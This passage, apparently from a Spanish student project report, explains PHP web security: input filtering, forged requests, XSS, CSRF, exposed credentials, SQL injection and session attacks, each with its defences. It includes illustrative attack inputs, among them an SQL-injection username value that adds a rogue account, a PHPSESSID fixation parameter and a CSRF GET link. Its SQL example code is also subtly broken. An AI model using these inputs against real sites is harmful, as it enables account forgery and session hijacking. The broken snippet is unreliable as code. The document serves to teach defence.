aplicación es desarrollada e implantada o mantenida por la misma persona. No debemos 
asumir nunca que la aplicación será instalada en servidores con condiciones y configuración 
idóneas, ya que no podemos apostar por  la rigurosidad del  trabajo del administrador del 
sistema, si no somos nosotros mismos los que desarrollamos tal función. Por ello, aunque 
desarrollemos   la   aplicación   con   y   para   una   configuración   de  register_globals 
desactivada, como programadores debemos tener en cuenta que nuestro código debe ser 
seguro para cualquier configuración del servidor.
4.1.2 Filtrado de datos
Tal y como hemos comentado en el apartado  2.2, en el punto  «La importancia del  
filtrado de datos», el filtrado de datos es crucial en la seguridad de toda aplicación web. Esto 
no depende estrictamente del  lenguaje de programación o de la plataforma utilizadas en 
concreto; de hecho filtrar y verificar los datos es una necesidad en cualquier aplicación que 
dependa de datos externos para su funcionamiento.
El proceso de filtrado de datos se establece mediante un mecanismo por el cual se 
determina la validez de los datos que entran y salen de la aplicación. En este sentido, un 
buen diseño de dicha aplicación debe ayudar a los programadores a asegurar que el filtrado 
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de datos se realiza, que los datos incorrectos no pueden hacerse pasar por correctos. A su 
vez, este mecanismo ayudará a identificar el origen de los datos. Existen diferentes maneras 
de asegurarnos de que el filtrado de datos se realiza siempre, pero hay dos aproximaciones 
generales que parecen ser las más comunes, y ambas proveen de un nivel suficiente de 
seguridad:
El método del frontal único
Este método consiste en tener una única vía de entrada y/o ejecución desde la web 
(es decir, una única URL). De esta manera, todo el código que tiene que ejecutarse se hace 
en forma de módulos incluidos, que son invocados por este frontal de la aplicación en el 
momento en que son necesarios. Normalmente, se suele implementar de manera que la 
tarea a  realizar se  identifica mediante un parámetro pasado al   frontal  por  URL (método 
GET).  Esta variable GET viene a reemplazar  lo que sería, en un diseño más simple, el 
nombre del archivo que ejecuta dicha acción. Un ejemplo de este tipo de implementación 
podría ser la siguiente url:
 http://www.ejemplo.org/frontal.php?tarea=imprimir_formulario .
El  archivo  frontal.php  sería el  único que estaría disponible en el  directorio  de 
acceso   público   del   servidor.   Esto   permite   al   programador   conseguir   dos   objetivos 
importantes:
Implementar directivas y medidas de seguridad globales, que se ejecutaran siempre 
de manera previa o posterior a cualquier tipo de tarea que el sistema deba realizar.
Ver que el filtrado de datos se está realizando allí donde es conveniente
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Un  frontal  único nos permite asegurar  que,  aún en caso de error,   las medidas de 
seguridad   implementadas  no  pueden  ser  pasadas  por  alto  en  ninguna  de   las   tareas  a 
realizar por la aplicación. También permite que el programador observe de manera sencilla 
el flujo de control de una tarea específica, en vez de tener que ir rastreándolo a través de 
diferentes archivos e innumerables líneas de código. No obstante, este método presenta un 
inconveniente:   la poca  legibilidad de  las direcciones al   tener constantemente parámetros 
incluidos en ellas. Con todo, el problema puede ser fácilmente solventado mediante la ayuda 
de complementos del servidor web, como por ejemplo el módulo mod_rewrite de Apache.
El método del módulo incluido
Otro método consiste en  la  inclusión de un único módulo de seguridad al  inicio de 
todos   y   cada  uno  de   los   archivos  que  están  disponibles   al   público  para   su   llamada  y 
ejecución. Mediante el uso del comando auto_prepend_file, es fácil asegurarse de que 
el módulo de seguridad es siempre incluido en todos los scripts.
Con el método del módulo incluido también nos aseguramos un correcto filtrado de los 
datos, y la realización del procedimiento, pero probablemente requiera la escritura de más 
código, al tener que invocar el módulo de seguridad al principio de todos y cada uno de los 
archivos  de  código.  En  cualquier   caso,   la  elección de  uno  u  otro  método  es  más  una 
cuestión   de   preferencia   o   estilo   del   programador,   que   debe   adecuarse   a   cómo   está 
estructurada la aplicación.
El proceso de filtrado
En el momento de realizar el filtrado de los datos, es importante afrontar el problema 
mediante   una   «lista   de   autorizados»   (en   contraposición   a   la   lista   negra   o   «lista   de 
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denegados»). En este sentido, una buena práctica a incorporar en el proceso de filtrado es 
la utilización de una variable que nos sirva de almacén de valores «limpios», es decir, los 
valores que estamos seguros que son válidos puesto que ya han sido filtrados. De esta 
manera, si se cuestiona la validez de cualquier dato que no se encuentre dentro de este 
almacén, será más difícil la utilización errónea de datos.
Otra práctica especialmente importante para asegurar la integridad de los datos con 
los que trabajamos consiste en inicializar todas las variables que se utilizan. Puesto que en 
el momento en que se inicia el proceso de un script PHP, se ha recibido una petición HTTP 
completa, es imposible inyectar cualquier tipo de datos adicional en su ejecución. En este 
sentido, la configuración por defecto del informe de errores de PHP no es de especial ayuda 
durante   el   desarrollo   de   la   aplicación,   puesto   que   el   intérprete   de   PHP,   con   esta 
configuración   por   defecto,   pasará   por   alto   cualquier   utilización   de   una   variable   no 
inicializada. Para ser informados de este evento, debemos aumentar el nivel de informe de 
errores, añadiendo los errores de tipo E_NOTICE a la lista de los errores que nos deben 
tenerse en cuenta.
4.1.3 Envío de formularios manipulados
Muchos   programadores   confían   en   la   validación   que   se   realiza   desde   el   cliente 
(mediante JavaScript, principalmente), y no validan correctamente los datos en el servidor. Si 
no se realizan las mínimas comprobaciones, para un posible atacante es sencillo enviar un 
formulario desde cualquier otro servidor, salvándose las restricciones impuestas al cliente. 
Pero incluso desde el mismo servidor, los navegadores permiten desactivar la ejecución de 
JavaScript, y, por tanto, cualquier control realizado mediante este lenguaje puede evitarse.
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En consecuencia,  cualquier   restricción que queramos aplicar  a   los  datos enviados 
desde un formulario debe ser comprobada en el servidor, y nunca confiar exclusivamente en 
las comprobaciones realizadas por el cliente, que deben utilizarse únicamente como recurso 
para aumentar la comodidad del usuario y mejorar su experiencia con la aplicación. Así los 
controles del cliente se utilizarán para una pequeña comprobación previa de validez de los 
datos en lo que al formato se refiere, y a dar al usuario indicaciones sobre el proceso de 
rellenado.
4.1.4 Peticiones HTTP manipuladas (inyección de cabeceras HTTP)
Una manera  más  poderosa de  manipulación,  aunque  también más  complicada de 
realizar, es la modificación de las peticiones HTTP. El servidor no tiene control alguno sobre 
qué programa cliente está conectado realizando peticiones y, por tanto, no podemos estar 
seguro de que  las cabeceras HTTP que recibimos sean «legales». Mediante una simple 
conexión   telnet,   podemos   realizar   peticiones   a   un   servidor  web   introduciendo   nuestras 
propias cabeceras,   tal  como se muestra en el  siguiente ejemplo extraído de  la  guía de 
seguridad en PHP del  PHP Security  Consortium ([11]).  Este ejemplo  realiza una simple 
petición GET al sitio www.php.net.
$ telnet www.php.net 80
Trying 64.246.30.37...
Connected to rs1.php.net.
Escape character is '^]'.
GET / HTTP/1.1
Host: www.php.net
HTTP/1.1 200 OK
Date: Wed, 21 May 2004 12:34:56 GMT
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Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3­dev
X­Powered­By: PHP/4.3.3­dev
Last­Modified: Wed, 21 May 2004 12:34:56 GMT
Content­language: en
Set­Cookie: COUNTRY=USA%2C12.34.56.78; expires=Wed,28­May­04 
12:34:56 GMT; path=/; domain=.php.net
Connection: close
Transfer­Encoding: chunked
Content­Type: text/html;charset=ISO­8859­1
2083
<!DOCTYPE HTML PUBLIC "­//W3C//DTD HTML 4.01Transitional//EN">
...
Por supuesto, y como ilustra también otro ejemplo del PHP Security Consortium, un 
usuario malintencionado podría escribirse su propio cliente de una manera rápida y fácil, que 
le permitiese inyectar cabeceras HTTP de manera mucho más cómoda. El poder enviar sus 
propios encabezamientos  le da al  atacante una gran flexibilidad a  la hora de vulnerar  la 
protección el sistema, por  lo que es esencial  realizar un filtrado de  los datos exhaustivo 
antes de utilizarlos.
4.1.5 Cross­Site Scripting 
Uno de los ataques que últimamente se han hecho más famosos en el mundo de PHP 
(y en el  de  los  lenguajes de programación web por extensión) es el   llamado «cross­site 
scripting». Esto es debido a las numerosas vulnerabilidades de este tipo encontradas en 
algunas aplicaciones con gran número de usuarios y fama, sobre las que cada día surgen 
más agujeros de este tipo. 
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En   este   tipo   de   ataque,   el   «hacker»   almacena   código   de   su   propia   creación 
(JavaScript, CSS o HTML) en la base de datos de la víctima o sistema de almacenamiento 
de la aplicación que sufre el ataque. Después, cuando dicho contenido se muestra en la 
página del usuario, la altera de manera que puede modificar la información que el usuario 
ve,  o   robar  algún  tipo de  información mediante el   reenvío de ésta a otros servidores o 
programas.
El motivo de la popularidad de este ataque es que es extremadamente sencillo de 
realizar, y, aunque también es sencillo de prevenir, existen innumerables aplicaciones que 
son   vulnerables   a  él.   Las   características   de   los   ataques   «cross­site   scripting»   son   las 
siguientes:
Aprovechan   la   confianza   de   los   usuarios   en   una   página   web   determinada.
Para ser más exactos, vulneran la confianza del programa navegador en el sitio, por 
ejemplo, al enviar «cookies» al servidor.
Suelen   afectar   a   sitios   web   que   muestran   datos   externos.  
Las   aplicaciones   de  mayor   riesgo   suelen   ser   foros,   clientes   de   correo   web,   y 
cualquier otro sistema que muestre información agregada desde otros lugares (por 
ejemplo, RSS).
Se   produce   la   inyección   de   contenido   externo   proveído   por   el   atacante.  
Cuando los datos no son filtrados correctamente, el atacante podría mostrar los datos 
que él quisiera en el sitio, lo cual puede llegar a ser casi tan peligroso como dejar 
que el atacante editara nuestro propio código.
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Imaginemos que en un sistema de tablón de anuncios, los mensajes enviados por los 
usuarios son almacenados directamente, sin ningún tipo de filtrado, para posteriormente ser 
mostrados.  Un   usuario  malintencionado  podría  entonces   introducir   sentencias   javascript 
dentro de su mensaje, que, sin el tipo de filtrado adecuado, llegarían al navegador de un 
posterior   visitante   y   podrían   llegar   a   ejecutarse.   Las   posibilidades   que   se   le   abren   al 
atacante son enormes, y van desde el robo de las cookies del sitio, hasta una suplantación 
completa de la identidad del sitio original, lo que se hace especialmente grave en lugares 
donde se trabaja con información sensible (bancos, tiendas, organismos oficiales, etc.).
La defensa contra este tipo de ataques es realmente muy simple, aunque se complica 
enormemente  cuando  la  aplicación debe permitir   a   los  usuarios  utilizar  código  HTML o 
scripts   ejecutables   sobre   el   navegador   del   usuario.   Pero   hay   una   serie   de   prácticas 
recomendadas para poder minimizar los riesgos de recibir ataques «cross­site scripting»:
Filtrar   todos   los   datos   externos.                              
Cuando se habla de seguridad en PHP, nunca se insiste suficiente en la importancia 
del filtrado de los datos que provienen de fuentes externas a nuestro propio código. 
Esta   es   la   práctica   más   importante   a   adoptar   para   evitar   cualquier   tipo   de 
vulnerabilidad.
Utilizar   las   funciones   que   PHP   proporciona.                          
Utilizar las funciones de filtrado de datos que el propio lenguaje proporciona es más 
fácil, rápido, y menos dado a errores. Por lo tanto es mucho más conveniente que 
intentar crear nuestras propias funciones, que pueden dejar de lado algunos casos 
sobre los que no hayamos meditado.
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Utilizar   la   política   de   «lista   de   aprobación».                                
Es conveniente asumir que los datos son erróneos a menos que se demuestre lo 
contrario.  Esto conlleva  la  verificación de  longitudes y   tipos de caracteres de  los 
datos,   admitiendo   sólo   aquéllos   que   entran   en   nuestro   rango   de   autorizados. 
Siempre es mejor añadir nuevas políticas posteriormente que permitan la entrada de 
nuevos datos sobre los que no habíamos pensado, que tener una seguridad relajada 
inicialmente, arriesgándonos a aceptar datos maliciosos como buenos.
Utilizar  estándares  de programación y  convenciones de nombrado.                          
Una   convención   de   nombrado   de   variables   adecuada   puede   ayudar   a   los 
programadores a distinguir fácilmente entre datos filtrados y originales. Es importante 
hacer las cosas lo más fáciles posibles para los programadores. Una falta de claridad 
puede llevar a confusiones (incluso con un único programador revisando su propio 
código). Estas confusiones casi siempre conllevan la creación de vulnerabilidades.
4.1.6 Generación de peticiones cross­Site
Un tipo de ataque opuesto, al cross­site scripting, si tenemos en cuenta la dirección en 
la que se produce el ataque, es el de generación de peticiones cross­site. Si bien el primero 
intenta explotar la confianza de un usuario (o su navegador) en un sitio web, este nuevo 
ataque intenta aprovecharse de la confianza que un sitio web tiene en un usuario particular. 
Este  tipo  de ataque es mucho más peligroso, aunque menos común;  y   también  resulta 
mucho más difícil defenderse de él.
Este ataque posee las siguientes características:
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Explota   la   confianza   que   un   sitio   web   tiene   en   un   usuario   particular.
Muchos de los usuarios de una aplicación web no deberían tener la confianza de 
ésta, pero es usual que dichas aplicaciones ofrezcan a los usuarios ciertos privilegios 
tras conectarse a ella.  Los usuarios con este  tipo de privilegios son  las víctimas 
potenciales de este tipo de ataques.
Generalmente implica a sitios cuyo correcto funcionamiento está fuertemente basado 
en la  correcta identificación de los usuarios.
Se   realiza   mediante   inyección   de   cabeceras   HTTP.                                  
Normalmente el atacante inyecta dichos encabezados a través de un usuario legítimo 
del sistema.
Debido  a  que  este   tipo  de  ataques   implica   la   creación  de  peticiones  HTTP,  para 
explicar cómo se suele desarrollar este tipo de ataques, es necesario que los programadores 
PHP tengan cierta familiaridad con el protocolo HTTP. Cuando un cliente (navegador) inicia 
una petición al servidor HTTP (servidor web), el servidor completa la transacción enviando 
una respuesta. Un ejemplo de una petición HTTP típica es:
GET / HTTP/1.1
Host: ejemplo.org
User­Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
La primera línea se llama línea de petición, y contiene el método utilizado, la URL, y la 
versión del protocolo. El  resto de  líneas son encabezamientos HTTP, y cada nombre de 
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cabecera está  seguido por un carácter de dos puntos, un espacio,  y el  valor.  Toda esta 
información está disponible en PHP a través de la variable superglobal $_SERVER. 
Una respuesta típica a esta petición anterior podría ser:
HTTP/1.1 200 OK
Content­Type: text/html
Content­Length: 57
<html>
<img src="http://ejemplo.org/imagen.png" />
</html>
El contenido de la respuesta es lo que el usuario recibe en su navegador (el código 
fuente   de   la   página  web).   La   etiqueta  img  que   hay   dentro   de   la   respuesta   indica   al 
navegador   que   debe   cargar   un   recurso   adicional   para   poder  mostrar   a   su   usuario   el 
contenido completo de la página web. Así, se realizará otra petición HTTP:
GET /imagen.png HTTP/1.1
Host: ejemplo.org
User­Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Aquí el programador debe prestar especial atención: El navegador pide la URL que 
hay especificada en la etiqueta  img  tal y como si el usuario hubiese navegado hasta esa 
URL específica. No tiene manera de especificar que lo que se espera, y por tanto el único 
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valor admitido, debería ser una imagen. Esto da lugar a posibles vías de intrusión en nuestra 
aplicación.
De esta manera, en una url típica de un envío de formulario que utilice el método GET, 
por   ejemplo:  http://ejemplo.org/enviomail.php?lista=USER&limit=1000  es 
potencialmente indistinguible de una solicitud de imagen. Es más, si register_globals está 
activado, el método utilizado para el envío tampoco importa.
Si añadimos a esto el hecho de que cualquier cookie perteneciente a una URL va 
siempre   incluida  en  la  petición de  esa  URL,  podemos empezar  a  darnos  cuenta  de  la 
potencia de este tipo de ataques. Un usuario que haya entrado a su cuenta en un hipotético 
servidor podría por ejemplo ser forzado a realizar un envío masivo de correo visitando una 
página en la que exista una etiqueta img con la URL del ejemplo anterior.
Hay diversas maneras de proteger las aplicaciones PHP contra ataques de generación 
de peticiones cross­site:
Utilizar siempre POST en vez de GET en los formularios. Aunque no siempre sea 
adecuado para todos los formularios, donde sí debería ser obligatorio es en aquéllos 
que   realizan  acciones que  modifican  el  estado  de   la  aplicación   (modificación de 
datos,   o   realización   de   acciones   irreversibles).   Esto   se   hace   especialmente 
importante en cuanto que la propia especificación de HTTP insiste en este punto. 
Además, no sólo usuarios malintencionados podrían perjudicarnos por este método; 
también personas o sistemas que accedan a nuestra aplicación podrían realizar un 
enlace directo a alguna acción, de manera que se podría perder el  control  sobre 
nuestros datos.
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Nunca confiar en register_globals. Con esta opción activada, la recomendación 
anterior pierde cualquier tipo de utilidad.
No utilizar   la variable superglobal  $_REQUEST.  Al   incluirse  en esta variable   tanto 
peticiones  POST  como  GET,  unas resultan  indistinguibles de  las otras, con  lo que 
perderíamos también la ventaja de utilizar el método POST en los formularios.
Forzar   el   uso  de  nuestros  propios   formularios.  Si   las   peticiones  no  pueden   ser 
distinguidas   por   el   servidor,   tenemos   que   implementar  métodos   para   identificar 
nuestros   formularios   de   manera   inequívoca,   y   realizar   las   comprobaciones 
necesarias al recibirlos.
4.1.7 Exposición de credenciales de acceso
La mayoría de  las aplicaciones PHP  interaccionan con una base de datos,   lo que 
implica la utilización de unas credenciales de acceso al servidor de bases de datos para la 
conexión. Dichas credenciales deben estar almacenadas en algún lugar, y usualmente se 
almacenan en un archivo de configuración. Cuando el archivo que contiene la información 
de acceso se encuentra bajo la raíz del servidor web (es decir, accesible al público) puede 
ser   fuente   de   potenciales   problemas.   Los   programadores   suelen   colocar   este   tipo   de 
archivos en  localizaciones accesibles, dado que suelen ser  frecuentemente  incluidos por 
diversas partes de la aplicación, por cuestiones de simplicidad. Pero esta simplicidad puede 
llevarnos a situaciones peligrosas, en que  la  información de acceso a  la base de datos 
quede expuesta.
Todo  lo que se encuentra bajo el  directorio  raíz del servidor  web tiene una url  de 
acceso. Si aunamos este hecho, con otro error habitual de los programadores, que suele ser 
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el de nombrar  los tipos de archivo destinados a  inclusión con el sufijo  .inc,   tendremos 
graves problemas. Sin embargo, si hemos configurado específicamente el servidor web para 
no ofrecer este tipo de archivos como texto plano, y procesarlo debidamente como cualquier 
otro script PHP, mitigaremos la posibilidad de exponer nuestros datos.
Las credenciales de acceso a la base de datos no son la única información que queda 
expuesta mediante esta mala práctica, sino también cualquier código fuente incluido en este 
tipo de módulos; pero dichos datos son información particularmente importante. La solución 
más simple para que nuestro código no pueda quedar expuesto sería reemplazar este tipo 
de módulos a un lugar en que no sean accesibles de manera pública por el servidor web. 
Esto es posible gracias a que las inclusiones se pueden realizar referenciando   rutas del 
sistema,   no   únicamente   URLs,   y   la   complejidad   de   la   programación   no   aumenta 
sensiblemente. Pero muchas veces esto no es una opción, así que si los archivos con las 
credenciales deben obligatoriamente permanecer en un lugar visible, deberemos configurar 
apropiadamente el servidor web para que no sirva ese tipo de archivos.
Otra   opción   comúnmente   adoptada   por   los   programadores   es   la   mencionada 
previamente  en  este  mismo apartado:   configurar  el   servidor  web  para  que  procese   los 
archivos  de  módulos   como  si   de  un  archivo  con  extensión  .php  se   tratase,   o   incluso 
renombrar   el   archivo  para   incluirle   la   extensión.  Pero  esta   solución  no  está   exenta  de 
peligros, puesto que la ejecución de código fuera del contexto para el que estaba planificado 
puede hacer surgir nuevas vulnerabilidades inesperadas.
Un método propuesto en el excelente PHP Cookbook [15], consiste en crear un archivo 
con permisos de lectura únicamente para el usuario root, con el siguiente contenido:
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SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"
Después, dicho archivo puede ser incluido en la configuración del servidor web. En el 
ejemplo,   se   trata   de   Apache   y   por   tanto   el   archivo   donde   incluir   la   sentencia  es 
httpd.conf, de la siguiente manera:
Include "/path/to/secret­stuff"
Mediante este método conseguimos  tener  disponibles en el  ámbito superglobal  de 
PHP   las   variables  $_SERVER['DB_USER']  y  $_SERVER['DB_PASS']  de  manera   que 
nunca se tendrá  que escribir en código fuente ni el nombre de usuario ni  la contraseña. 
Además, debido a los permisos de usuario otorgados al archivo que contiene la información, 
ni el propio servidor web puede leerlo. Así, ningún otro usuario puede escribir una aplicación 
que pueda leer nuestras credenciales de acceso.
4.1.8 Inyección de SQL
El ataque de inyección de SQL es uno de los más comunes, pero a la vez de los más 
fáciles de defender. El objetivo de este tipo de ataque es insertar datos en una cadena de 
caracteres que el «hacker» sabe que se va a utilizar en una sentencia SQL, pudiendo de 
esta manera obtener datos que no deberían ser accesibles sin una autorización previa.
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La  mayoría  de   las   vulnerabilidades  de  este   tipo   se  deben  a  que  el   programador 
construye  las sentencias SQL utilizando las variables sin comprobar, como podría ser  la 
variable superglobal $_POST. Imaginemos la siguiente sentencia SQL: 
<?php
$sql = 'INSERT INTO usuarios (user, pass, email) 
VALUES (   “'.$_POST['user'].'”, 
“'.$random_pass.'”, 
“'.$POST['email'].'”)';
?>
Esta   sentencia,  que  podría  ser   parte   de  un  proceso  de   registro  de  usuario,  está 
utilizando  la mencionada variable superglobal en su  interior,   lo  que  la hace el  candidato 
perfecto para su abuso. En teoría, lo que esperamos es que el usuario introduzca su nombre 
de usuario deseado y su email, para enviarle una contraseña generada aleatoriamente, que 
él después podrá cambiar. Este es un proceso típico de registro utilizado en la gran mayoría 
de aplicaciones. Pero imaginemos que el usuario introduce la siguiente información en el 
campo del nombre de usuario:
nombre_usuario_malo”, “password”, “”), (“nombre_usuario_bueno
Supongamos también que el  usuario proporciona una cuenta de correo válida,  por 
ejemplo antonienko@antonienko.com. Como no se ha hecho ningún filtrado de los datos, la 
sentencia SQL quedaría al final así:
<?php
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$sql = 'INSERT INTO usuarios (user, pass, email) 
VALUES (   “nombre_usuario_malo”, 
“password”,
“”,),
(    “nombre_usuario_bueno”,
“contraseña_generada_por_el_sistema”,
“antonienko@antonienko.com”)' 
“'.$random_pass.'”, 
“'.$POST['email'].'”)';
?>
Con esto, el usuario ha conseguido introducir dos cuentas en el sistema: una «buena», con 
un email válido, y otra en la que él ha especificado todos los datos, la cuenta que lleva por 
nombre de usuario «nombre_usuario_malo».
Probablemente   este   ejemplo   no   parezca   suficientemente   peligroso,   pero   esta 
vulnerabilidad podría dar pie a otras acciones. Por ejemplo, sería posible enviar múltiples 
sentencias   en   una   única   llamada,   si   el   usuario  malintencionado   terminara   la   primera 
sentencia con un punto y coma. No obstante, MySQL, hasta las versiones más recientes, no 
permitía enviar múltiples sentencias en un único comando, así que este riesgo puede ser 
menor dependiendo de la versión.
En   todo   caso,   las  maneras   de   protegerse   contra   una   inyección   de  SQL   son   las 
siguientes:
Filtrar los datos.
Casi todas las vulnerabilidades explicadas son evitables con un sistema de filtrado de 
los datos apropiado.
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Encomillar los datos.
Si el gestor de bases de datos lo permite (y es el caso de MySQL), poner comillas 
alrededor de todos los datos, independientemente de su tipo.
Marcar («to escape») los caracteres especiales en las sentencias.                                         
A veces, incluso los datos válidos pueden interferir con el formato de la sentencia 
SQL. Utilizando funciones como mysql_escape_string o addslashes podremos 
evitar esto.
4.1.9 Seguridad de las sesiones
Los ataques a sesiones son algo más sofisticados que las inyecciones SQL, pero en 
cambio son un objetivo frecuente de ataque. La  información clave para un atacante que 
quiera conseguir acceso al sistema es el identificador de sesión, porque es lo que necesita 
para cualquiera de los diferentes tipos de ataque disponibles contra las sesiones.
Conservar el estado de la aplicación
HTTP es un protocolo que no conserva el estado, es decir, no hay ninguna asociación 
definida en el protocolo entre dos peticiones HTTP, aunque sean consecuencia de la misma 
serie de acciones (por ejemplo, al cargar una página web, cada una de las imágenes se 
carga con su propia petición HTTP totalmente independiente del resto). Como el protocolo 
no   proporciona   ningún  método   que   permita   identificar   al   cliente,   el   servidor   no   puede 
distinguir entre dos clientes diferentes. Mientras que esto tiene ciertos beneficios (como no 
tener la carga adicional de trabajo de conservar el estado cuando no es necesario), también 
representa un desafío para los programadores que necesitan crear aplicaciones web que sí 
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conserven el estado (saber si el usuario está registrado en el sistema, si tiene elementos en 
un carrito de la compra, etcétera).
La solución a este problema, que fue originalmente concebida por  Netscape,  es un 
mecanismo de gestión del estado de la aplicación llamado «cookie». Las cookies son una 
extensión del protocolo HTTP, que consiste en dos cabeceras: La cabecera de respuesta 
«Set­Cookie» y la cabecera de petición «Cookie».
Cuando un cliente envía una petición de una URL concreta, el servidor tiene la opción 
de incluir una cabecera Set­Cookie en la respuesta. Esta acción es una petición para que el 
cliente incluya la cabecera Cookie correspondiente en sus peticiones futuras. Utilizando este 
mecanismo para incluir un identificador único en cada petición, se puede identificar a los 
clientes  y  asociar   todas sus peticiones.  Así  pues,  una  sesión y   todos sus datos  puede 
mantenerse gracias a este identificador único, que se convierte en pieza fundamental de 
todo el sistema, y por tanto, en el principal objetivo de ataque.
PHP tiene un mecanismo que se encarga de gestionar todo este sistema, liberando así 
al programador de la ardua tarea del mantenimiento de identificadores mediante la inclusión 
de cabeceras. Sin embargo, el mecanismo no tiene ningún tipo de seguridad implícita en él.
Fijación del identificador de sesión
El  método más  simple  de  obtener  un   identificador  de sesión válido  es  el   llamado 
«fijación  del   identificador  de  sesión»,  aunque  no  es  muy  difícil   defenderse  de  él.  Para 
explicar   en  qué   consiste   la   fijación  de   sesiones,   utilizaremos  el   ejemplo  que  podemos 
encontrar en la guía de seguridad PHP del PHP Security Consortium [11]. 
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<?php
session_start();
if (!isset($_SESSION['visits']))
{
    $_SESSION['visits'] = 1;
}
else
{
    $_SESSION['visits']++;
}
echo $_SESSION['visits'];
?>
Tras la primera visita a la página que contiene este código, el usuario debería ver un 
número 1 en  la pantalla, y en cada visita posterior,  este número se debería incrementar 
reflejando   el   número   de   visitas   que   dicho   usuario   ha   realizado   a   la   página.   Pero 
supongamos ahora que, en la primera visita (cuando aún no se tiene ningún identificador de 
sesión  activado),   visitamos   la   página   con  el   siguiente   parámetro  al   final   de   la  URL:  ?
PHPSESSID=1234. Seguidamente, en otro navegador completamente diferente, incluso con 
un ordenador diferente, visitamos la misma URL de nuevo con el mismo parámetro. En vez 
de   ver   un   1,   veremos   que   la   sesión   continúa   como   si   no   hubiésemos   cambiado   de 
navegador.
Esto puede ser problemático porque un atacante podría camuflar este parámetro en un 
enlace que un usuario podría pulsar para ir a un sitio de confianza. De esta manera, el ID de 
la sesión quedaría fijado por el atacante, y al ser conocido por éste, podría utilizarlo para 
utilizar ataques como el secuestro de sesiones.
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Este   ataque   tan   simple,   tiene   una   solución   igualmente   simple.   Siempre   que 
comprobemos que no existía una sesión previa, lo cual haremos mediante una variable de 
control introducida en la sesión, lo que deberemos hacer es regenerar el ID de la sesión 
(mediante la función  session_regenerate_id()  de PHP o cualquier otra metodología 
alternativa), de manera que cualquier parámetro que recibamos intentando fijar dicho ID no 
tenga efecto alguno. También es adecuado regenerar  el   identificador de  la sesión en el 
momento en que los privilegios de un usuario cambian (por ejemplo, cuando un usuario se 
registra en el sistema). De esta manera evitamos que un usuario pueda descubrir el ID de 
sesión generado por PHP con una visita previa, y aprovecharlo de la misma manera que 
podría haber hecho fijándolo él mismo.
Secuestro de sesiones
El ataque más común contra las sesiones suele ser el secuestro de sesiones, que trata 
de conseguir acceso a  la sesión de otro usuario. Para poder conseguir un secuestro de 
sesión, el atacante debe primero obtener un ID de sesión válido, así que para poder evitar 
los problemas que este ataque puede originar, nos defenderemos de él suponiendo que el 
identificador de sesión no es seguro, y puede haber sido robado.
De esta manera, si no podemos confiar en el ID de sesión, deberemos buscar algún 
otro dato que nos sirva como identificador sobre el que apoyarnos. En una petición HTTP 
típica, la única cabecera requerida por el protocolo HTTP 1.1 es la titulada Host,  que esto es 
lo único en lo que deberíamos basarnos. Sin embargo, desde el mismo Host pueden venir 
diferentes usuarios, con lo que necesitamos algún mecanismo más de identificación. Por 
esto, cabeceras como el User­Agent, que nos indica con qué navegador estamos siendo 
visitados, nos serán de utilidad en este propósito.
­ Página 54 ­
Antonio Manuel Hernández Sánchez – Memoria del proyecto Auditoria: Programación
Si en nuestra sesión guardamos la cabecera User­Agent, podremos comprobar que no 
ha habido un cambio en las siguientes peticiones, con lo que restringimos las posibilidades 
de un atacante de utilizar el mismo navegador que el usuario válido. Aún así, el atacante 
podría haber obtenido el User­Agent mediante el mismo método por el que se puede fijar el 
ID de sesión. Éste requería que el usuario pasara previamente, a su ingreso a la aplicación, 
por   una   aplicación   perteneciente   al   atacante;   así   pues,   necesitamos   un   poco  más   de 
protección para evitar esta situación. 
Una manera de proporcionar una protección adicional frente a lo relatado en el párrafo 
anterior   es   añadir   a   la   información   del  User­Agent   un   token   escogido   de   una  manera 
totalmente arbitraria.  Así  el  atacante no  tiene sólo  que conocer el  User­Agent,  sino que 
debería adivinar una palabra clave que nosotros añadimos en nuestra aplicación, lo cual le 
complica sobremanera el ataque.
Exposición de datos de sesión
Muchas aplicaciones PHP se instalan en servidores que son compartidos por diversos 
usuarios,   lo  que  se  denomina  «alojamiento  compartido».  En  un  servidor   compartido,   la 
seguridad es siempre un problema mucho más grave, y resulta muy complicado asegurar 
completamente una aplicación.
Uno de los aspectos más vulnerables de un alojamiento compartido es el hecho de 
tener un lugar de almacenamiento de sesiones común. PHP guarda la información de sesión 
en   el   directorio   temporal   del   sistema   por   defecto.   Muchos   servidores   mantienen   la 
configuración por defecto del  lenguaje. En el  caso de  las sesiones,  tan solo pueden ser 
leídas por el servidor web. Pero desafortunadamente, es muy fácil   realizar una pequeña 
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aplicación que lea estos archivos de información (ya que es el servidor web el que ejecutará 
la aplicación, y por tanto, tendrá los permisos adecuados para su lectura.
PHP tiene una configuración llamada  safe_mode  (modo seguro) que previene que 
una aplicación PHP pueda realizar estas acciones malintencionadas, pero el atacante puede 
saltarse esta restricción simplemente utilizando cualquier otro lenguaje que el servidor tenga 
instalado. Volveremos al modo seguro más adelante.
La  mejor  solución es  cambiar  el   lugar  de almacenamiento  de   las  sesiones,  como 
podría ser una base de datos a la que sólo nosotros tenemos acceso. También entre las 
soluciones más adecuadas se encuentra la de cifrar los datos contenidos en la sesión. La 
manera   más   fácil   de   conseguir   esto   es   la   de   utilizar   la   función 
session_set_save_handler() de PHP, que nos permite crear nuestros propios métodos 
para almacenar los datos de sesión.
4.2 Recomendaciones adicionales
Además de todas las prácticas recomendadas en la explicación de las diferentes y más 
comunes vulnerabilidades que se pueden encontrar en aplicaciones PHP, existen toda una 
serie de prácticas que nos ayudaran a desarrollar y mantener la aplicación con la máxima 
seguridad posible.
4.2.1 Informe de errores
Tal   y   como  mencionamos  anteriormente  en  el   punto   «4.1.2  Filtrado  de  datos»,   el 
configurar correctamente los diferentes niveles de informe de error que posee el intérprete 
de PHP es de vital importancia, a la hora de desarrollar la aplicación. Pero no únicamente en 
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el  momento   del   desarrollo,   sino   también   en   el  momento   de   la   implantación   de   dicha 
aplicación, una correcta configuración es de vital importancia en cuanto a la seguridad se 
refiere.
En  la versión de PHP que estamos utilizando (previa a la versión 5 que  introducía 
innumerables mejoras en la gestión de los errores), dicha gestión de errores se realiza de 
forma   bastante   simplista.   Aparte   de   una   programación   cuidadosa,   la   gestión   recae 
principalmente   en   unas   pocas   opciones   de   configuración   del   intérprete   que   deben   ser 
minuciosamente configuradas:
error_reporting
Esta   opción   establece   el   nivel   de   informe   de   errores   deseado.   Es   altamente 
